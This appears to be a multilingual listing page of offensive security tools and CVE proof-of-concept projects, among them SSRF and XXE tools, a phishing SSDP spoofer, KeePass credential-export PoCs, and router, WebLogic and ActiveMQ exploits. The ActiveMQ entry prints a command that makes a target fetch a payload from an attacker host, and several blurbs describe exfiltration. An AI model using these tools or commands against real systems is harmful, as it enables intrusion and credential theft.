WS-Attacker

WS-Attacker WS-Attacker è un framework modulare per il penetration testing di servizi web. È sviluppato dalla Cattedra di Sicurezza delle Reti e dei Dati, Ruhr University Bochum https://nds.rub.de/ e dalla Hackmanit GmbH https://hackmanit.de/. L'idea alla base di WS-Attacker è quella di fornire u...

ssrf-king

🔥 ssrf-king 🔥 v1.12 Latest SSRF plugin for burp that Automates SSRF Detection in all of the Request If you are facing any problems or would like a new feature that is not listed below Please create a new issue below in this form Create New Issue Upcoming Features Checklist ✔️ It will soon have a...

ADEL

ADEL - Estrattore Dati Android Lite Questo script Python estrae tutti i database SQLite importanti da uno smartphone Android connesso al disco locale e analizza questi file in un flusso di lavoro forense accurato. Se nessuno smartphone è connesso, puoi specificare una directory locale che contien...

evil-ssdp

Overview This tool responds to SSDP multicast discover requests, posing as a generic UPNP device. Your spoofed device will magically appear in Windows Explorer on machines in your local network. Users who are tempted to open the device are shown a configurable phishing page. This page can load a...

CVE-2023-24055_PoC

CVE-2023-24055 PoC KeePass 2.5x In discussione e in fase di analisi... https://sourceforge.net/p/keepass/discussion/329220/thread/a146e5cf6b/ https://sourceforge.net/p/keepass/feature-requests/2773/ Un attaccante che ha accesso in scrittura al file di configurazione di KeePass può modificarlo e...

ssrf-sheriff

SSRF Sheriff This is an SSRF testing sheriff written in Go. It was originally created for the Uber H1-4420 2019 London Live Hacking Event, but it is now being open-sourced for other organizations to implement and contribute back to. Features Respond to any HTTP method GET, POST, PUT, DELETE, etc...

CVE-2022-30075

CVE-2022-30075 Esecuzione remota di codice autenticata sui router Tp-Link Dispositivi interessati Se il tuo router Tp-Link dispone della funzionalità di backup e ripristino e il firmware è precedente a giugno 2022, probabilmente è vulnerabile Testato con Tp-Link Archer AX50, altri router tplink...

xxexploiter

XXExploiter Genera i payload XML e avvia automaticamente un server per servire i DTD necessari o per effettuare l'exfiltrazione dei dati. Installazione root@kitploit: installa node e npm se non li hai ancora npm install -g xxexploiter Compilazione ed esecuzione dal sorgente Questa è una semplice...

xxexploiter

XXExploiter It generates the XML payloads, and automatically starts a server to serve the needed DTD's or to do data exfiltration. Installation root@kitploit: install node and npm if you don't have it yet npm install -g xxexploiter Building & Running from source This is a simple Node application...

CVE-2020-14883EXP

CVE-2020-14883EXP Utilizzato per la verifica e lo sfruttamento di WebLogic 10.3.6.0.0 ;12.1.3.0.0 ;12.2.1.3.0; 12.2.1.4.0 ;14.1.1.0.0. Non usare per scopi illegali. Inserisci IP+porta per iniziare la verifica es. 127.0.0.1:7001 Supporta l'esecuzione di comandi XML remoti Per le versioni diverse d...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Progetto di riferimento Questo progetto è una riscrittura in Python dell'exploit del progetto https://github.com/X1r0z/ActiveMQ-RCE. Utilizzo root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Il parametro -p è predefinito sulla porta predefinita d...

jsonorg-tp1

json.org CVE-2022-45688 vero positivo Il progetto illustra CVE-2022-45688 in json.org -- c'è una semplice applicazione XML2JSONConverter per leggere XML dall'input, convertirlo in JSON e stamparlo in modo formattato sulla console. Utilizzando un input dannoso, l'applicazione va in crash con uno...

CVE-2023-46604

CVE-2023-46604 Costruisci un docker-compose contenente 2 immagini: la macchina vittima e la macchina target secondo l'ambiente richiesto. Sulla macchina vittima, avvia ActiveMQ. Passa alla macchina attaccante: • Apri il servizio HTTP per inviare il PoC: python3 -m http.server • Usa netcat per...

CVE-2021-2471

CVE-2021-2471 ambiente maven Processo di riproduzione here Ambiente di riferimento: https://github.com/SecCoder-Security-Lab/jdbc-sqlxml-xxe...

PoC_CVE-2023-24055

PoCCVE-2023-24055 Wie ausführen ? Bearbeiten Sie die Variable $User im Skript und ersetzen Sie den Wert durch Ihren Benutzernamen. Öffnen Sie eine PowerShell als Administrator und führen Sie das Skript aus: root@kitploit: ./PoCCVE-2023-24055.ps1 Nach der Skriptausführung öffnen Sie KeePass. Das...

CVE-2021-21239-Exploit

Dettaglio report di seguito https://docs.google.com/document/d/157fGn7lLP1uBuRz8zUgRDWTDklKznljeOWwRQ-C6uFg/edit?usp=sharing Utilizzo python main.py...

Web-Security-Learning

Web-Security-Learning Indirizzo del progetto: https://github.com/CHYbeta/Web-Security-Learning Knowledge Planet Attacco e difesa delle vulnerabilità: https://t.zsxq.com/mm2zBeq Indice: Web-Security-Learning Web Security SQL injection MySql MSSQL PostgreSQL MongoDB Tecniche Strumenti XSS CSRF Altr...

CVE-2020-24148

CVE-2020-24148 Server-side request forgery SSRF nel plugin Import XML and RSS Feeds import-xml-feed 2.0.1 per WordPress tramite il parametro data in un'azione moovereadxml. Codice vulnerabile: /moove-actions.php: root@kitploit: ... public function moovereadxml $args = array 'data' = escsql...

XXEinjector

XXEinjector XXEinjector automatizza il recupero di file utilizzando metodi diretti e out of band. La scansione delle directory funziona solo nelle applicazioni Java. Il metodo di brute-forcing deve essere utilizzato per altre applicazioni. Opzioni: root@kitploit: --host Obbligatorio - il nostro...

CVE-2022-2414-Proof-Of-Concept

CVE-2022-2414-Proof-Of-Concept È stata riscontrata una vulnerabilità in pki-core. L'accesso a entità esterne durante l'analisi di documenti XML può portare ad attacchi di tipo XML External Entity XXE. Questa vulnerabilità consente a un attaccante remoto di recuperare potenzialmente il contenuto d...